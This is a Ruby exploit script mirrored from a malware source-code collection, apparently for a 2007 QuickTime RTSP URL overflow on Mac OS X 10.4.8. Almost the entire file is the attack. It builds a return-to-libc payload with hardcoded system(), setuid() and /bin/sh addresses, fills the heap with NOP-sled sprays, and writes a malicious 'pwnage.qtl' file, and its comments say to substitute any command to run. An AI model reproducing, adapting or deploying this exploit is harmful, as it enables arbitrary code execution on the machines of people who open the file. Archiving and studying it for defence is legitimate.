mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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62 lines
2.6 KiB
Plaintext
62 lines
2.6 KiB
Plaintext
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#!/usr/bin/ruby
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# Copyright (c) LMH <lmh [at] info-pull.com>
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# Kevin Finisterre <kf_lists [at] digitalmunition.com>
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#
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# Notes:
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# Our command string is loaded on memory at a static address normally,
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# but this depends on execution method and the string length. The address set in this exploit will
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# be likely successful if we open the resulting QTL file directly, without having an
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# instance of Quicktime running. Although, when using another method and string, you'll need
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# to find the address.
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# For 100% reliable exploitation you can always use the /bin/sh address,
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# but that's not as a cool as having your box welcoming the new year.
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# Do whatever you prefer. That said, enjoy.
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#
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# see http://projects.info-pull.com/moab/MOAB-01-01-2007.html
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# Command string: Use whatever you like.
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# Remember that changing this will also need a change of the target address for system(),
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# unless string length is the same.
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CMD_STRING = "/usr/bin/say Happy new year shit bag"
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# Mac OS X 10.4.8 (8L2127)
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EBP_ADDR = 0xdeadbabe
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SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
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SETUID_ADDR = 0x900334f0
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CURL_ADDR = 0x916c24bc # /usr/bin/curl
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SHELL_ADDR = 0x918bef3a # /bin/sh
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CMDSTR_ADDR = [
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SHELL_ADDR, # 0 addr to static /bin/sh (lame)
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0x017a053c, # 1 addr to our command string (cool) :> (change as necessary)
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0xbabeface, # 2 bogus addr for testing.
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CURL_ADDR # 3 addr to '/usr/bin/curl'
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]
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# Payload. default to CMDSTR_ADDR 0 (/bin/sh)
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HAPPY = ("A" * 299) +
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[EBP_ADDR].pack("V") +
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[SYSTEM_ADDR].pack("V") +
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[SETUID_ADDR].pack("V") +
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[CMDSTR_ADDR[0]].pack("V") # change array index for using diff. addr (see CMDSTR_ADDR)
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# Sleds: not necessary if using /bin/bash addr or other built-in addresses.
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# although, for using our own fu, we need to spray some data for better reliability
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# the goal is causing allocation of large heap chunks
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NEW = ("\x90" * 30000) + CMD_STRING # feed the heap
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YEAR = ("\x90" * 30000) + CMD_STRING # go johnny, go
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APPLE = ("\x90" * 30000) + "EOOM" # feed the heap more
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BOYZ = ("\x90" * 30000) + "FOOM" # and more
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# QTL output template
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QTL_CONTENT = "<?xml version=\"1.0\"?>" +
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"<?quicktime type=\"application/x-quicktime-media-link\"?>" +
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"<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
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"qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
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"src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"
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target_file = File.open("pwnage.qtl", "w+") { |f|
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f.print(QTL_CONTENT)
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f.close
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}
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